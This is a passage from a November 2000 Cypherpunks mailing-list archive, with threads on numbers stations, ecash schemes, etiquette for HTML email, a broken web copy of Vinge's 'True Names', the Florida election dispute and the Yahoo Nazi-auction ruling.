sitcoms on TV." Shortwave Subculture What started as a fringe hobby for those exploring the frontiers of shortwave radio in solitude has become a group effort, thanks to the Internet. "It made it possible for hobbyists to rapidly exchange information with each other. Now someone can hear a station, and alert others in real-time, so they can tune it in, rather than reading about it months from now," Smolinski said. Smolinski runs an Internet mailing list called Spooks, named after the slang word for an undercover agent. The mailing list, along with Smolinski's Web site, is a clearinghouse for the observations of fellow hobbyists, who can jump online and share their observations with each other. And the subject of their observations is somewhat baffling. Every night, the shortwave spectrum of radio is peppered with mysterious, androgynous-sounding announcers who chant numbers in a monotone voice. Many times the broadcast is introduced by an eerie piece of music that identifies the particular station to those in the know. And since shortwave signals bounce off the atmosphere and the surface of the Earth, sometimes they can be heard from across the planet. Listeners first noticed the stations during the beginning of the Cold War, but didn't know what they were for. To this date, no government has admitted to the purpose of these broadcasts or even to running the stations that send them. It wasn't until the '70s that the source and purpose of the stations started becoming common knowledge. Shortwave listeners, by comparing their observations, have traced some of these signals back to their source. Most of them come from known military installations of the world's governments. The numbers stations are generally understood to be coded transmissions of instructions from the intelligence agencies of the world's governments to their undercover agents deployed in other countries. So why are spy agencies using low-tech shortwave radio to get word out to their agents? "The thought is that it is normal to have a small portable radio that tunes shortwave, so possession isn't incriminating," Smolinski said. "If the agent were caught with James Bond-type sophisticated gear, it would be pretty obvious he's a spy," he added. Smolinski estimates some numbers listeners spend over 20 hours a week practicing their hobby. Some postings to the Spooks list include logs of hundreds of different stations caught in the act by listeners. Unfortunately, listeners will never know the meanings of the mysterious messages. They're encoded using something called a one-time-pad, which is unbreakable unless you're in possession of a matching codebook to the one that was used to scramble the message. And agents are trained to destroy each page of their code book once used, hence the moniker "one-time." But for Smolinski, the hobby still has rewards. For one, tuning in the faint stations requires a little more shortwave-listening mettle than tuning in the BBC, for example. And by coordinating with fellow listeners, the Spooks list and other groups of its ilk have managed to figure out who runs many of the stations and their probable purpose. For example, Spooks members have noted increased broadcasts from stations run by the Mossad � the Israeli version of the CIA � during times when conflict flares in the Middle East. And listeners have determined that broadcasts from American stations on this continent are usually read in Spanish � and thought to be aimed at Cuba. Of course, Cuba is believed to run stations of its own. A change in the regular pattern of broadcasts will often spark a speculative thread on the Spooks list. Did equipment fail? Was it some CIA agent's first day? Was that Latin beat underneath the latest broadcast interference, or just some Cuban agent listening to the radio? Spies are a mysterious bunch. --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From ben at algroup.co.uk Thu Nov 30 00:52:37 2000 From: ben at algroup.co.uk (Ben Laurie) Date: Thu, 30 Nov 2000 08:52:37 +0000 Subject: CDR: Re: ecash, cut & choose and private credentials (Re: Jim Bell) References: Message-ID: <3A261555.78138204@algroup.co.uk> Apologies for indirect routing :-) > Date: Tue, 28 Nov 2000 22:41:07 -0500 > From: Adam Back > To: cypherpunks at cyberpass.net > > Unfortunately both Brands' and Chaum's ecash and credential schemes > are patented. David Wagner et al also had some ideas about an ecash > coin [3] composed roughly of a public key based MAC (ie the user can't > verify the validity of the coin directly -- only the bank can do > that), plus a zero-knowledge proof that the bank hasn't marked the > coin. This may be unpatened in that it's not directly a certificate, > it's a MAC, plus a zero-knowledge proof so it seems like a fairly > different process. I don't think you can do efficient offline ecash > with Wagner et al's mechanism -- I'd guess it's more comparable with > the functionality offered by Chaum's blind signature. I'm not sure what you think the requirements for "efficient offline ecash" are, but I should note that the double-blinded version of lucre doesn't require the ZKP, and there's also a non-interactive variant of the ZKP for the single-blinded variant. They are both described in the current version of the paper (at least, I'm sure the first as, and somewhat sure the second is). Cheers, Ben. > [3] Ben Laurie has a paper describing Wagner et al's MAC + ZKP ecash / > credential protocol as theory2.pdf. > > http://anoncvs.aldigital.co.uk/lucre/ > > Adam > > Disclaimer: As always my comments are my own. > > --- end forwarded text > > -- > ----------------- > R. A. Hettinga > The Internet Bearer Underwriting Corporation > 44 Farquhar Street, Boston, MA 02131 USA > "... however it may deserve respect for its usefulness and antiquity, > [predicting the end of the world] has not been found agreeable to > experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' -- http://www.apache-ssl.org/ben.html "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff From tcmay at got.net Thu Nov 30 09:09:54 2000 From: tcmay at got.net (Tim May) Date: Thu, 30 Nov 2000 09:09:54 -0800 Subject: Sunders point on copyright infringement & HTML In-Reply-To: <20001130114107.D21232@positron.mit.edu> References: <20001130041309.C16342@positron.mit.edu> <20001130114107.D21232@positron.mit.edu> Message-ID: At 11:41 AM -0500 11/30/00, Riad S. Wahby wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >Tim May wrote: >> No, it _doesn't_ work. Clicking on your "mutt-positron" icon >> presented to me in Eudora caused Microsoft Word to launch on my >> system. Which gave me this message: > >Oh, how embarrassing. I forgot to make the Content-disposition: field >inline instead of attachment. This was the source of the problem for >Eudora. > >I believe that is fixed now, and I've tested it with the copy of >Eudora Pro I have sitting on my Windows box. > Yes, it looks fine now. I'll have to tell a friend of mine about this, as he's been telling me great how "mutt" is...in person, as his e-mail arrives unreadable to me! Now we just need to get Ernest Hua and Greg Newby to stop formatting their messages as they do. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From tcmay at got.net Thu Nov 30 09:30:23 2000 From: tcmay at got.net (Tim May) Date: Thu, 30 Nov 2000 09:30:23 -0800 Subject: Authenticate the "adult field", go to jail... In-Reply-To: <3A2645ED.6CD94375@ricardo.de> References: <3A2645ED.6CD94375@ricardo.de> Message-ID: At 1:19 PM +0100 11/30/00, Tom Vogt wrote: >"R. A. Hettinga" wrote: >> >> ...an argument for bearer credentials if there ever was one... > >there's also a couple other things in there that I find highly >questionable. the worst is right at the end: > > > >> "We have forwarded it to the Justice Department's Office of International >> Affairs in Washington," Coggins said. "We are holding up hope that we're >> going to bring the Indonesians and the Russian to justice in the United >> States." > >excuse me? shouldn't that read "convince the indonesians and russians to >*start a local prosecution based on their own laws*" ???? oh, I forgot. >the US-of-Assholes believes it's laws are valid for everyone and >everywhere. Unlike the Germans, who have never tried to get members of the American Nazi Party deported to Germany, who have never prosecuted Yahoo and AOL executives for violating German law by allowing thoughtcrime on their systems, and who have never arrested Americans transitting European cities for thoughtcrimes allegedly committed while inside the United States. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From k.brown at ccs.bbk.ac.uk Thu Nov 30 02:30:31 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Thu, 30 Nov 2000 10:30:31 +0000 Subject: CDR: Re: Authenticate the "adult field", go to jail... References: <200011291817.KAA27950@cyberpass.net> Message-ID: <3A262C47.86EEF47B@ccs.bbk.ac.uk> obvious at beta.freedom.net wrote: > RAH writes: > > ...an argument for bearer credentials if there ever was one... [...snip...] > In fact if anything this kind of prosecution is an argument *against* > getting into the ecash/ecredential business, especially if it is focused > on porn as some have proposed. All you need is for someone to use it > to sell or authorize access to kiddie porn, and you're going to jail. I'd like to see the cops trying to arrest the Bank of England. Ken From editor at valuediscoveries.com Thu Nov 30 08:34:34 2000 From: editor at valuediscoveries.com (Value Discoveries) Date: Thu, 30 Nov 2000 10:34:34 -0600 Subject: valuediscoveries SPECIAL ALERT (SMIL) Message-ID: <200011301957.LAA05538@toad.com> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 12152 bytes Desc: not available URL: From hseaver at harmon.arrowhead.lib.mn.us Thu Nov 30 07:36:36 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Thu, 30 Nov 2000 10:36:36 -0500 Subject: CDR: Re: online copy of Vinge's True Names References: <20001129174211.N419@eskimo.com> Message-ID: <3A267446.9D145D17@harmon.arrowhead.lib.mn.us> Interestingly enough, all you have to do to get this page to work is open it in Netscape Composer, save it to your drive. Should have thought of that last night. Wei Dai wrote: > There is an online copy of Vernor Vinge's novel True Names at > http://www.neoisp.org/macroscope/vinge/vernor/true_names/truename.htm. I > don't know who put it up, but I found it by a doing a Google search for > '"true names" "just barely possible"'. -- Harmon Seaver, MLIS Systems Librarian Arrowhead Library System Virginia, MN (218) 741-3840 hseaver at arrowhead.lib.mn.us http://harmon.arrowhead.lib.mn.us From rah at shipwright.com Thu Nov 30 07:44:56 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Thu, 30 Nov 2000 10:44:56 -0500 Subject: CDR: ip: Hobbyists intercept spy transmissions Message-ID: --- begin forwarded text From jdimov at cigital.com Thu Nov 30 07:49:21 2000 From: jdimov at cigital.com (Jordan Dimov) Date: Thu, 30 Nov 2000 10:49:21 -0500 (EST) Subject: CDR: Re: Directed Hamiltonian path problem In-Reply-To: <000399F6.C22005@srh.dgac.fr> Message-ID: In "Molecular computations of solutions to combinatorial problems.", Adleman uses biocomputing to solve the directed Hamiltonian path problem for a seven vertex graph. The approach requires an exponential number of molecules, and Avogadro's number implies that such experiments are inconceivable for graphs larger than about n=70. [Skiena] On Thu, 30 Nov 2000, DUBEAU Guy wrote: > > I am curious to know the maximum size of graphs than can be solved by > existing computers (electronic or DNA-based). > > Also, what would be the commercial fallout of finding an algorithm to > solve the Hamiltonian path problem rapidly for big graphs (500 points > and over) ? > > Thanks in advance, > > Guy Dubeau > > > > [By the way, I can't check the Web since I have no Internet > connection, just the e-mail.] > From k.brown at ccs.bbk.ac.uk Thu Nov 30 02:59:59 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Thu, 30 Nov 2000 10:59:59 +0000 Subject: CDR: Sunders point on copyright infringement & HTML References: Message-ID: <3A26332F.2B4DE9D2@ccs.bbk.ac.uk> Like you can't cut & paste the URL? Let's see how long this takes http://aem.asm.org/cgi/content/abstract/66/2/700?maxtoshow=&HITS=150&hits=150&RESULTFORMAT=&fulltext=thermophilic+fingi&searchid=975498174408_10577&stored_search=&FIRSTINDEX=&journalcode=aem Yep, 6 keystrokes to switch to the currently open web page, tab to the top, cut the URL, jump back to here & paste it. Didn't even have to use the mouse. And I'm only using Windoze. (No, the URL there isn't relevant to this thread, it just happened to be on my Netscape at the time) Ken Brown Jim Choate wrote: > > Sunder raises a good point about Netscape (and potentially other software > as well) amd forwarding URL's with attached content. > > Why is the page attached? Because Netscape attaches the page and doesn't > offer a way to send only the URL from right click -> send page. There > isn't a switch to set default behaviour (and there should be). > > So, if you got a bitch about your copyright being infringed, take it to > Netscape since they wrote the program without a mechanism that prevents > users from committing copyright infringement. Of course this opens a > perfect opportunity for LEA's to justify setting at least some basic > programming guidelines that we'd all have to comply with... > > As to using HTML, this is 2000 (soon to be 2001). Get used to it. Hell, I > might start embedding ANSI VT100 color codes and the occassional ^g. > Animated ANSI would be pretty cool too. If I get the time I might even > install TurBoard and MGE under an emulation and start including NAPLPS > graphics while I'm at it. I don't have words to express the frustration I > have with straight ASCII text and doing technical work at times (but > that's another issue). > > ____________________________________________________________________ > > Before a larger group can see the virtue of an idea, a > smaller group must first understand it. > > "Stranger Suns" > George Zebrowski > > The Armadillo Group ,::////;::-. James Choate > Austin, Tx /:'///// ``::>/|/ ravage at ssz.com > www.ssz.com .', |||| `/( e\ 512-451-7087 > -====~~mm-'`-```-mm --'- > -------------------------------------------------------------------- From rah at shipwright.com Thu Nov 30 08:02:59 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Thu, 30 Nov 2000 11:02:59 -0500 Subject: CDR: Re: Pests on the List In-Reply-To: References: Message-ID: At 1:57 AM -0800 on 11/30/00, Tim May wrote: > This attitude summarizes why you are such a pest. I'm not singling anybody out here at all on this, but he'd be even less of a pest, for me, anyway, if people just kill-filed him and stopped replying to him, or at least including his email address in their replies when they do. My Eudora filter file has *any* header with his email address in it going to the trash... Works for me, TYMMV. Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From adam at homeport.org Thu Nov 30 08:11:53 2000 From: adam at homeport.org (Adam Shostack) Date: Thu, 30 Nov 2000 11:11:53 -0500 Subject: CDR: Re: online copy of Vinge's True Names In-Reply-To: <3A25C4D1.1B1694CB@harmon.arrowhead.lib.mn.us> References: <20001129174211.N419@eskimo.com> <3A25C4D1.1B1694CB@harmon.arrowhead.lib.mn.us> Message-ID: <20001130111509.A26000@weathership.homeport.org> Bogon html. wget and xemacs solve the problem, with the bonus that web instability can't remove your copy. Adam On Wed, Nov 29, 2000 at 10:09:36PM -0500, Harmon Seaver wrote: | | Hmm, all I get when I go there is a blank page, but it looks like some | really big files a loading before it gets there.Wonder wht I'm downloading? | Wonder if I'm bullet proof? Care to download it and send it to me? | | Wei Dai wrote: | | > There is an online copy of Vernor Vinge's novel True Names at | > http://www.neoisp.org/macroscope/vinge/vernor/true_names/truename.htm. I | > don't know who put it up, but I found it by a doing a Google search for | > '"true names" "just barely possible"'. | -- "It is seldom that liberty of any kind is lost all at once." -Hume From andrew.mcmeikan at mitswa.com.au Wed Nov 29 19:14:16 2000 From: andrew.mcmeikan at mitswa.com.au (McMeikan, Andrew) Date: Thu, 30 Nov 2000 11:14:16 +0800 Subject: CDR: RE: Survey meters. Message-ID: <54A50136B6CAD3118FBD00C00D00DDEF037424@mits_perth_com1.mitswa.com.au> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I think the simplest is probably true, they genuinely are after something, they do a quick web search and a mass mail out to all matches. I got this one which I can only attribute to the <> above method. (included for entertainment value) It is probably hard for people in some countries to get their hands on certain equipment and thus end up resorting to Spam. A 'sting' operation would be one where the only response would be one that confirmed guilt, I think these are just mis-directed pleas for help, when they should be doing a little more research and approaching only those that can help. The paranoid side of me notes a certain similarity in style (has anyone else received emails like these?) cya, Andrew... - -----Original Message----- From: Ken Brown [SMTP:k.brown at ccs.bbk.ac.uk] Sent: Wednesday, November 29, 2000 10:19 PM To: Anis Ahmed Sheikh Cc: cypherpunks Subject: Re: Survey meters. I was 99% sure that these posts were some sort of spam-scam, whose purpose I didn't quite get. (Am I falling for it by replying?) And about 1% doubtful that it might be a genuine company who had somehow been tricked into sending mail to toad. In which case, if you are reading this, know that your mail got sent to an obsolete gateway to a discussion list on the political and economic effects of new communication technologies & cryptography and we don't now anything about scintillation meters (I haven't used one since September). But what if, just what if, it is some crazy snoop trying to fish for illegal arms dealers? Are they that crass? Are they that imaginative? Do they really have that much time and money to play with? Are these the sort of people who have been so successful in getting Iraq to disarm? (if there are any intelligence agents reading this, that last bit was an example of "irony". This paragraph is "sarcasm". You need to know about those things to decode communications between civilians. Look it up in the handbook. It will be in the exam.) Ken -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOiVYLUAhpS53eUNhEQK7DwCfVjs+d5NGpNzEWN9unTi2Lux7XAQAoJVF Umcm2oe2jMSTnVGl/ExVB+jC =Meho -----END PGP SIGNATURE----- = --------------------------------------------------------------------------------- The information transmitted is intended for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination, copying or other use of, or taking any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you have received this in error, please contact the sender and delete the material from your system. Utility Services Corporation (USC) is not responsible for any changes made to the material other than those made by USC or for the effect of the changes on the meaning of the material. -------------- next part -------------- An embedded message was scrubbed... From: unknown sender Subject: no subject Date: no date Size: 38 URL: From carskar at netsolve.net Thu Nov 30 09:25:40 2000 From: carskar at netsolve.net (Carskadden, Rush) Date: Thu, 30 Nov 2000 11:25:40 -0600 Subject: Survey meters. Message-ID: <10D1CDA5E7B0D41190F800D0B74585641C73DB@cobra.netsolve.net> I was wondering if you forwarded all of that poor bastard's contact information to an entire mailing list with malicious intent, or if you simply didn't think about it. Then it occurs to me that anyone that randomly sends email full of contact info to people they don't know is kind of asking for it. Question is, no matter how much someone asks for it, is it ok to sock it to them? -----Original Message----- From: McMeikan, Andrew [mailto:andrew.mcmeikan at mitswa.com.au] Sent: Wednesday, November 29, 2000 9:14 PM To: 'k.brown at ccs.bbk.ac.uk' Cc: cypherpunks Subject: RE: Survey meters. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I think the simplest is probably true, they genuinely are after something, they do a quick web search and a mass mail out to all matches. I got this one which I can only attribute to the <> above method. (included for entertainment value) It is probably hard for people in some countries to get their hands on certain equipment and thus end up resorting to Spam. A 'sting' operation would be one where the only response would be one that confirmed guilt, I think these are just mis-directed pleas for help, when they should be doing a little more research and approaching only those that can help. The paranoid side of me notes a certain similarity in style (has anyone else received emails like these?) cya, Andrew... - -----Original Message----- From: Ken Brown [SMTP:k.brown at ccs.bbk.ac.uk] Sent: Wednesday, November 29, 2000 10:19 PM To: Anis Ahmed Sheikh Cc: cypherpunks Subject: Re: Survey meters. I was 99% sure that these posts were some sort of spam-scam, whose purpose I didn't quite get. (Am I falling for it by replying?) And about 1% doubtful that it might be a genuine company who had somehow been tricked into sending mail to toad. In which case, if you are reading this, know that your mail got sent to an obsolete gateway to a discussion list on the political and economic effects of new communication technologies & cryptography and we don't now anything about scintillation meters (I haven't used one since September). But what if, just what if, it is some crazy snoop trying to fish for illegal arms dealers? Are they that crass? Are they that imaginative? Do they really have that much time and money to play with? Are these the sort of people who have been so successful in getting Iraq to disarm? (if there are any intelligence agents reading this, that last bit was an example of "irony". This paragraph is "sarcasm". You need to know about those things to decode communications between civilians. Look it up in the handbook. It will be in the exam.) Ken -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOiVYLUAhpS53eUNhEQK7DwCfVjs+d5NGpNzEWN9unTi2Lux7XAQAoJVF Umcm2oe2jMSTnVGl/ExVB+jC =Meho -----END PGP SIGNATURE----- = ---------------------------------------------------------------------------- ----- The information transmitted is intended for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination, copying or other use of, or taking any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you have received this in error, please contact the sender and delete the material from your system. Utility Services Corporation (USC) is not responsible for any changes made to the material other than those made by USC or for the effect of the changes on the meaning of the material. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 5952 bytes Desc: not available URL: From ptrei at rsasecurity.com Thu Nov 30 08:26:50 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Thu, 30 Nov 2000 11:26:50 -0500 Subject: CDR: Non-flat-ascii mail [was: Sunders point on copyright infringement & HTML] Message-ID: > Choate[SMTP:ravage at einstein.ssz.com] wrote: > > Sunder raises a good point about Netscape (and potentially other software > as well) amd forwarding URL's with attached content. > > Why is the page attached? Because Netscape attaches the page and doesn't > offer a way to send only the URL from right click -> send page. There > isn't a switch to set default behaviour (and there should be). > Jim: You are not a clueless newbie. Copy a URL out of the URL window of your browser, and paste that into the text of your message. Similarly, cut & paste text, and reformat it appropriately when neccesary. I spend considerable time doing this out of respect for my reader's time (most recently in the post which quoted from 'A Man for All Seasons'). It is, as I have said, common courtesy, and consideration for others. [...] > As to using HTML, this is 2000 (soon to be 2001). Get used to it. Hell, I > might start embedding ANSI VT100 color codes and the occassional ^g. > Animated ANSI would be pretty cool too. If I get the time I might even > install TurBoard and MGE under an emulation and start including NAPLPS > graphics while I'm at it. I don't have words to express the frustration I > have with straight ASCII text and doing technical work at times (but > that's another issue). > If you put in all the doodads you mention, the main effect will be that even fewer people will bother to read your messages. > The Armadillo Group ,::////;::-. James Choate > "I don't have words to express the frustration I have with straight ASCII text" This sounds like the poor workman blaming his tools. All the great literary works of the last 2000 years were done in flat ascii, but apparently it's too limiting a medium for your subtle insights. I guess the next thing you'll do is dictate your messages, and expect us to listen to your deathless prose in streaming audio (or maybe video :-) What I really think is happening is this: You are a lazy jerk. You don't want to do anything harder than right-click the page in your browser, select 'Send Page', type in 'cypherpunks at einstein.ssz.com' and click 'Send'. This is a good example of 'the tragedy of the commons'. What you do is locally optimzed - it's certainly faster for *you* to send the entire page from Netscape, but you inflict significant costs on the *entire readership* in doing so, since they have to launch browsers, load pages, set cookies, turn up in server logs, run java, run javascript, run ASP, install and run plugins etc. This not only takes extra time, but wastes resources, and compromises the readers security and privacy. Of course, if everyone behaved like you did, the list would grind to a halt. But so long as you're the only one being a jerk, you win. You're pissing where we all drink; even if this is acceptable to you, you are rapidly sending your reputation down the toilet. Why should people give any consideration to your views while you manifestly give no consideration to their time, security, and privacy? Peter Trei From k.brown at ccs.bbk.ac.uk Thu Nov 30 03:28:30 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Thu, 30 Nov 2000 11:28:30 +0000 Subject: CDR: Re: Sunders point on copyright infringement & HTML References: <20001130041309.C16342@positron.mit.edu> Message-ID: <3A2639DE.62A7AE38@ccs.bbk.ac.uk> The following is the entire readable content of the mail I just received: "Riad S. Wahby" wrote: > > mutt-positron-16342-48Name: mutt-positron-16342-48 > Type: Plain Text (text/plain) I am trying to look at it from Netscape though... I can read it when I telnet into the email server & use the old Unix mail. Headers include: From anonymous at openpgp.net Thu Nov 30 08:39:29 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Thu, 30 Nov 2000 11:39:29 -0500 Subject: online copy of Vinge's True Names Message-ID: <7529dd8a7f887873335a0ec9f9bd1f6c@remailer.ch> Ken Brown wrote: > Check the HTML source > The page contains the text of a story, but there are HTML errors that > prevent it being displayed on my browser) > Adding a at the end fixes it. ... or just use lynx. From rsw at MIT.EDU Thu Nov 30 08:41:07 2000 From: rsw at MIT.EDU (Riad S. Wahby) Date: Thu, 30 Nov 2000 11:41:07 -0500 Subject: Sunders point on copyright infringement & HTML In-Reply-To: ; from tcmay@got.net on Thu, Nov 30, 2000 at 01:46:18AM -0800 References: <20001130041309.C16342@positron.mit.edu> Message-ID: <20001130114107.D21232@positron.mit.edu> A non-text attachment was scrubbed... Name: not available Type: application/pgp Size: 795 bytes Desc: not available URL: From WillyBlade at mail.com Thu Nov 30 11:44:12 2000 From: WillyBlade at mail.com (WillyBlade at mail.com) Date: Thu, 30 Nov 2000 11:44:12 -0800 Subject: ADV: For all of your commercial lending needs. Message-ID: Our Commercial Loans Division is the place to call for all of your commercial lending needs. Whether you doing an acquisition, business loan, refinance or construction loan, we handle all types of commercial loans, including raw land. We also provide construction and /or term financing for multifamily, retail, industrial, office, mobile home parks, churches, hotels and more. For companies seeking a business loan or corporate financing, please call our office at 570-947-0970 for more information. From outlaw at zeroknowledge.com Thu Nov 30 08:47:03 2000 From: outlaw at zeroknowledge.com (outlaw) Date: Thu, 30 Nov 2000 11:47:03 -0500 Subject: ZKS -- the path to world domination References: <200011240616.BAA00561@cypherspace.org> Message-ID: <003601c05aed$2ad00a00$2c81100a@dev.zks.net> > > I experienced (twice) a failure in my Windows 98 network stack after > > installing the Freedom client - it apparently replaced/modified/removed > > some DLL component which was important to 32-bit Winsock connections, > > which meant that Eudora and web browsers stopped working. > > Freedom's trying to do some pretty ambitious things in interfacing > with the windows stack from within the tcp stack and transparently > re-writing and redirecting packets at that level. That area of > windows isn't the best documented. If you were using an early version > things may have improved a lot since then. Also I think win2000 stuff > is more amenable to the things freedom is trying to do. In the past year considerable resources were affected to increase the ease of use and to resolve compatibility issues with Freedom. Improvements in the interoperability area, improvements in the qa testing area, and alot of refactoring has greatly improved the overall quality. So yes, it has improved alot. Any 2.0 installation woes during Beta were far and few between. Mario Disclaimer: as always these are my personal comments. From bill.stewart at pobox.com Thu Nov 30 12:01:10 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Thu, 30 Nov 2000 12:01:10 -0800 Subject: Imagine In-Reply-To: Message-ID: <3.0.5.32.20001130120110.009d1290@idiom.com> At 11:04 AM 11/29/00 -0800, Steve Schear wrote a message that was in some HTML format that Eudora badly choked over when trying to reply. It was possible to save it with all the random font change garbage and funny characters, but not to just send a text reply. >> 1. Imagine that we read of an election occurring anywhere in the >> third world in which the self-declared winner was the son of the former >> prime minister and that former prime minister was himself the former >> head of that nation's secret police (CIA). Steve, or whoever The Blue Writer is, says "Correction. He was declared the winner by the fact that he has received 271 of the needed 270 electoral votes." Bush hasn't received them. Not only have the Electors not voted yet, but Florida hasn't selected their electors yet. They're still haggling about whether the votes should all be counted, and the Republicans have done a good job of preventing any recounts from being finished (or used), to the extent of organizing riots outside the Miami/Dade election office. They're also trying to decide what to do about the 19000 double-punch ballots (probably unfixable), and the 15000 absentee ballot applications that were allegedly criminally altered by the Republicans (10000 were voted for Bush, 5000 for Gore). Then there were the 12000 mainly black voters whose registrations were disqualified incorrectly because they were allegedly felons, based on a database provided by a company whose parent company gave a six-figure contribution to the Republican Party - about 8000 of those people got back on the voter rolls, and probably not all of the other 4000 would have voted, but they were much more likely to have voted Democrat. I'm not saying the double-punched ballots were Republican fraud; it looks a lot more like Democrat incompetence in the ballot design, though it's been suggested that they could also have been from Democrat attempts at fraud (punch a spike through the Gore hole, and it won't invalidate any ballots already marked for Gore, but will invalidate any ballots voting for other candidates.) The "bunch of elementary school kids had no trouble" press release is fun, but bogus. If the teacher had told the kids "Vote for Gore and Lieberman" instead of "Vote for Gore", they'd have been much more likely to make a mistake. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From carskar at netsolve.net Thu Nov 30 09:32:29 2000 From: carskar at netsolve.net (Carskadden, Rush) Date: Thu, 30 Nov 2000 12:32:29 -0500 Subject: Arthur Anderson black-bagged, NIPC now spooking Message-ID: <10D1CDA5E7B0D41190F800D0B74585641C73DC@cobra.netsolve.net> And you are bragging about this? Jeez. Have you MET the guy yet? So tell us, what was discussed, and where can we find it? -----Original Message----- X-Loop: openpgp.net From: Declan McCullagh [mailto:declan at well.com] Sent: Wednesday, November 29, 2000 9:50 PM To: Multiple recipients of list Subject: Re: Arthur Anderson black-bagged, NIPC now spooking On Wed, Nov 29, 2000 at 04:52:49PM -0500, Tim May wrote: > I don't know what "NIPC" means, but I thought at first you meant that > NIPC was in Lithuania. Perhaps not. FBI's National Infrastructure Protection Center. I'm on an ABA panel tomorrow with Michael Vatis, the head. Should be cybercast; I'll find details. -Declan -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 1395 bytes Desc: not available URL: From obvious at beta.freedom.net Thu Nov 30 10:06:48 2000 From: obvious at beta.freedom.net (obvious at beta.freedom.net) Date: Thu, 30 Nov 2000 13:06:48 -0500 Subject: online copy of Vinge's True Names Message-ID: <200011301806.NAA32309@domains.invweb.net> > > Check the HTML source > > The page contains the text of a story, but there are HTML errors that > > prevent it being displayed on my browser) > > Adding a at the end fixes it. > > ... or just use lynx. This points to one of the big wins of XML over HTML. Parsers are not allowed to guess at the meaning of invalid XML with unbalanced tags and such. Today we have the problem that people create bad HTML but don't know it because it looks OK on their browser, which overlooks some errors. Then it fails on someone else's browser. With XML there is a standard about what works and what doesn't, and so you know that if your parser can read it, everyone else's can too. XHTML is the XML-ized version of HTML. It's mostly compatible with HTML but inherits the strict grammar from XML. Obvious. ________________________________________________________________________ Total Internet Privacy -- get your Freedom Nym at http://www.freedom.net From tom at ricardo.de Thu Nov 30 04:19:57 2000 From: tom at ricardo.de (Tom Vogt) Date: Thu, 30 Nov 2000 13:19:57 +0100 Subject: CDR: Re: Authenticate the "adult field", go to jail... References: Message-ID: <3A2645ED.6CD94375@ricardo.de> "R. A. Hettinga" wrote: > > ...an argument for bearer credentials if there ever was one... there's also a couple other things in there that I find highly questionable. the worst is right at the end: > "We have forwarded it to the Justice Department's Office of International > Affairs in Washington," Coggins said. "We are holding up hope that we're > going to bring the Indonesians and the Russian to justice in the United > States." excuse me? shouldn't that read "convince the indonesians and russians to *start a local prosecution based on their own laws*" ???? oh, I forgot. the US-of-Assholes believes it's laws are valid for everyone and everywhere. From tom at ricardo.de Thu Nov 30 04:34:52 2000 From: tom at ricardo.de (Tom Vogt) Date: Thu, 30 Nov 2000 13:34:52 +0100 Subject: CDR: Re: Lost password References: Message-ID: <3A26496C.E130CE34@ricardo.de> Jim Choate wrote: > I"m still waiting on somebody to tell me how to reliably tell if a > individual piece of email is encrypted or not, without of course setting > up a whole set of policies and rules (which is sooooo un-cypherpunk). didn't we have that a LONG time ago? the solution is easy, if you accept a few limitations. namely, you go for the top 99% only and accept only algorithms that are known to you. of course you'll be able to come up with some kind of encryption that looks like spam if you try, but that's not the point. From DUBEAU_Guy at srh.dgac.fr Thu Nov 30 05:45:40 2000 From: DUBEAU_Guy at srh.dgac.fr (DUBEAU Guy) Date: Thu, 30 Nov 2000 13:45:40 +0000 Subject: CDR: Directed Hamiltonian path problem Message-ID: <000399F6.C22005@srh.dgac.fr> I am curious to know the maximum size of graphs than can be solved by existing computers (electronic or DNA-based). Also, what would be the commercial fallout of finding an algorithm to solve the Hamiltonian path problem rapidly for big graphs (500 points and over) ? Thanks in advance, Guy Dubeau [By the way, I can't check the Web since I have no Internet connection, just the e-mail.] From marnoldm at du.edu Thu Nov 30 12:54:54 2000 From: marnoldm at du.edu (marnoldm) Date: Thu, 30 Nov 2000 13:54:54 -0700 Subject: Yahoo Ruling: "Don't Roll Your Eyes..." Message-ID: Ben Laurie, one of the experts who testified in the trial before Judge Gomez has recently retracted his opinion regarding the feasibility of preventing French web surfers from accessing Nazi-related items on Yahoo. In the following article (original available at ), Mr. Laurie calls the proposed solution "half-assed and trivially avoidable." --- An Expert's Apology[1] The Yahoo! Nazi Case The background to this is that Yahoo! were ordered by the French court to prevent French people from accessing auction sites selling 